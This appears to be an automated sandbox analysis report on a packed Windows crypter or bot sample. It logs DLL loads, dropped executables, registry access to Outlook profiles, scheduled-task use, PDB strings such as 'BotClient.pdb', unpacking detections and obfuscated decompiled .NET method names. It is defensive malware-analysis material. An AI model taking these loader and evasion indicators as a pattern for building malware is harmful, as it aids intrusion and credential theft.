Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msvcp140.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windowscodecs.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: propsys.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: edputil.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wintypes.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: appresolver.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: slc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sppc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: pcacli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wininet.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rstrtmgr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iertutil.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: urlmon.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: srvcli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: netutils.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntmarta.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mozglue.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wsock32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msvcp140.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: propsys.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: edputil.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wintypes.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: appresolver.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: slc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sppc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: pcacli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dwrite.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: textshaping.dll
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	Section loaded: mswsock.dll
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	Section loaded: wldp.dll
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	Section loaded: propsys.dll
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	Section loaded: profapi.dll
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	Section loaded: linkinfo.dll
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	Section loaded: ntshrui.dll
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	Section loaded: srvcli.dll
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	Section loaded: cscapi.dll
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	Section loaded: edputil.dll
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	Section loaded: urlmon.dll
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	Section loaded: iertutil.dll
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	Section loaded: netutils.dll
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	Section loaded: appresolver.dll
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	Section loaded: slc.dll
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	Section loaded: userenv.dll
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	Section loaded: sppc.dll
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp	Section loaded: shfolder.dll
Source: C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp	Section loaded: msacm32.dll
Source: C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp	Section loaded: winmmbase.dll
Source: C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp	Section loaded: winmmbase.dll
Source: C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp	Section loaded: riched20.dll
Source: C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp	Section loaded: usp10.dll
Source: C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp	Section loaded: msls31.dll
Source: C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp	Section loaded: explorerframe.dll
Source: C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp	Section loaded: sfc.dll
Source: C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp	Section loaded: sfc_os.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOwner

Source: C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp

Window found: window name: TMainForm

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Source: C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp

Registry value created: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Nikko Video Compressor_is1

Source: SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe

Static file information: File size 2457088 > 1048576

Source: C:\Users\user\Documents\iofolko5\5Hyf8PuolQS_j4ZkhvHWpkWr.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x236c00

Source: SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: \??\C:\Users\user\Documents\iofolko5\day2_mixApp.pdbws\ source: aFBKY19rLrQU72E14du4WCPo.exe, 0000000A.00000002.2138573986.0000000000C51000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Documents\iofolko5\aFBKY19rLrQU72E14du4WCPo.PDB"fal source: aFBKY19rLrQU72E14du4WCPo.exe, 0000000A.00000002.2138573986.0000000000C51000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdb source: aFBKY19rLrQU72E14du4WCPo.exe, 0000000A.00000002.2138573986.0000000000C3C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: d:\a42sr32\win32_x86\release\pdb\UniverseDesigner\designer.pdb source: kJHbagG0C4H5BEyYJQeInLfF.exe, 0000000C.00000002.2391284217.0000000000525000.00000002.00000001.01000000.0000000B.sdmp, kJHbagG0C4H5BEyYJQeInLfF.exe, 0000000C.00000002.2392516588.0000000002420000.00000004.00001000.00020000.00000000.sdmp, kJHbagG0C4H5BEyYJQeInLfF.exe, 0000000C.00000000.1788478700.0000000000525000.00000002.00000001.01000000.0000000B.sdmp
Source:	Binary string: \??\C:\Windows\mscorlib.pdb source: aFBKY19rLrQU72E14du4WCPo.exe, 0000000A.00000002.2138573986.0000000000C51000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: PE.pdb source: SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe, SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe, 00000000.00000002.1509746400.0000000002F50000.00000004.08000000.00040000.00000000.sdmp, XO9lsdL5g6aUibu31TDcoBrI.exe, 0000000F.00000002.2044194881.00000000047AF000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\press\AppData\Local\Temp\Report.A66214F7-6635-4084-8609-050NK772Dll\obj\Debug\hSHxNXg.pdb source: XO9lsdL5g6aUibu31TDcoBrI.exe, 0000000F.00000002.2192250317.0000000005FD0000.00000004.08000000.00040000.00000000.sdmp, XO9lsdL5g6aUibu31TDcoBrI.exe, 0000000F.00000002.2044194881.00000000047AF000.00000004.00000800.00020000.00000000.sdmp, XO9lsdL5g6aUibu31TDcoBrI.exe, 0000000F.00000002.2044194881.0000000004631000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: HPJo8C:\Windows\day2_mixApp.pdb source: aFBKY19rLrQU72E14du4WCPo.exe, 0000000A.00000002.2113363514.00000000008F9000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: BotClient.pdb source: XO9lsdL5g6aUibu31TDcoBrI.exe, 0000000F.00000000.1788981132.0000000000E22000.00000002.00000001.01000000.00000012.sdmp
Source:	Binary string: day2_mixApp.pdb source: aFBKY19rLrQU72E14du4WCPo.exe, 0000000A.00000002.2138573986.0000000000C51000.00000004.00000020.00020000.00000000.sdmp, aFBKY19rLrQU72E14du4WCPo.exe, 0000000A.00000000.1787917500.00000000001B2000.00000002.00000001.01000000.0000000A.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Documents\iofolko5\5Hyf8PuolQS_j4ZkhvHWpkWr.exe

Unpacked PE file: 9.2.5Hyf8PuolQS_j4ZkhvHWpkWr.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R; vs .text:EW;

Detected unpacking (creates a PE file in dynamic memory)

Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe

Unpacked PE file: 12.2.kJHbagG0C4H5BEyYJQeInLfF.exe.2270000.2.unpack

.NET source code contains method to dynamically call methods (often used by packers)

Source: 0.2.SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe.2f50000.0.raw.unpack, Ca01BQGh9DxiBOJwup.cs

.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})

Source: SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe

Static PE information: 0x9C5620ED [Tue Feb 11 12:37:01 2053 UTC]

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00567110 push ecx; ret	3_2_00567123
Source: C:\Users\user\Documents\iofolko5\Yt_9y5LuIpBZXKd9EiYluKkG.exe	Code function: 6_2_024C2809 push eax; retn 0071h	6_2_024C280A
Source: C:\Users\user\Documents\iofolko5\5Hyf8PuolQS_j4ZkhvHWpkWr.exe	Code function: 9_2_004014D9 pushad ; ret	9_2_004014E9
Source: C:\Users\user\Documents\iofolko5\5Hyf8PuolQS_j4ZkhvHWpkWr.exe	Code function: 9_2_004031DB push eax; ret	9_2_004032AB
Source: C:\Users\user\Documents\iofolko5\5Hyf8PuolQS_j4ZkhvHWpkWr.exe	Code function: 9_2_025F1540 pushad ; ret	9_2_025F1550
Source: C:\Users\user\Documents\iofolko5\5Hyf8PuolQS_j4ZkhvHWpkWr.exe	Code function: 9_2_028522F6 push B63524ADh; retn 001Fh	9_2_0285232D
Source: C:\Users\user\Documents\iofolko5\5Hyf8PuolQS_j4ZkhvHWpkWr.exe	Code function: 9_2_02852DF3 pushfd ; iretd	9_2_02852DF4
Source: C:\Users\user\Documents\iofolko5\5Hyf8PuolQS_j4ZkhvHWpkWr.exe	Code function: 9_2_02853F53 push esp; ret	9_2_02853F55
Source: C:\Users\user\Documents\iofolko5\g2v2mVtOHdxh9ZgrtYde5yf0.exe	Code function: 11_2_02F52809 push eax; retn 0071h	11_2_02F5280A
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_00503196 push ecx; ret	12_2_005031A9
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_004107EE push 02E98151h; retf 0000h	12_2_004107F3
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_00502A1C push ecx; ret	12_2_00502A2F

Source: 0.2.SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe.2f50000.0.raw.unpack, KASIU9JAUDHSAHJDUHUDASUDUADAI0DKSFISJFUDHUFHHYU.cs	High entropy of concatenated method names: 'OMFx84NSU3Aj89yeQCX', 'LAX01SNrXLuYFtkUKZE', 'iy9SsMNm29gB450FtMd', 'dBJrEtNGIa6qVBG9EBQ', 'rVg9gbNXhuTUCax3Faw', 'SqGmZ9Nwos9SN5Q7lkZ', 'GSe2iiNdiIejkDmaBS8', 'LqmMVpNxj2A5NG3wBxw', 'gYNBsNNfxAmxgoLk8AY', 'YxEaVbN7rCtxCfwOIGb'
Source: 0.2.SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe.2f50000.0.raw.unpack, psm102r62ZNKXfMgLP.cs	High entropy of concatenated method names: 'OPSws322xfEh0', 'MODr39Nq5MiabxlX31k', 'iQoS09NJ2QNv2l3Nldp', 'CJQKDaN3RqE5Z376xIt', 'pj3HvaNg4CuSslIZxHe', 'aGob5JNuDhjrh89tMF7', 'OJrIsVNcKpdpxmnyCdy', 'nvy9T7NQKdlZSSpjdYZ', 'VWEEy8N4s3YgJEZssn2', 'hiS9r5NbbCsErEIxnl5'
Source: 0.2.SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe.2f50000.0.raw.unpack, Component1.cs	High entropy of concatenated method names: 'Dispose', 'c2ZnNKXfM', 'KdItahZbaqrPOGXMMIH', 'F6Y0glZWI5sNge0KygR', 'oiohBeZubh6iBGSEkrx', 'eHnLj8Z41B6OG7M1JDy', 'N4gwHqZEFQ33Xh9XSL4', 'UsxTXAZipbL0y4O7ig6', 'lWEAf5ZlGZ9tBNchonB'
Source: 0.2.SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe.2f50000.0.raw.unpack, UserControl1.cs	High entropy of concatenated method names: 'Dispose', 'F2igcbrUX', 'XHGgAUZzLmxCg9LHS8J', 'S8TWddN28E6t6e1W5DI', 'nxnywSZIvTRDeZkh3vn', 'Lg0nedZDohNDcCeYfhA', 'MCqqDaNZbmCaRq0a6S3', 'pte1vQNNcjSXyOcA1wm', 'FihZepNhpEadD2XS1mj', 'v4bBBrN14WWJwYVFB1v'
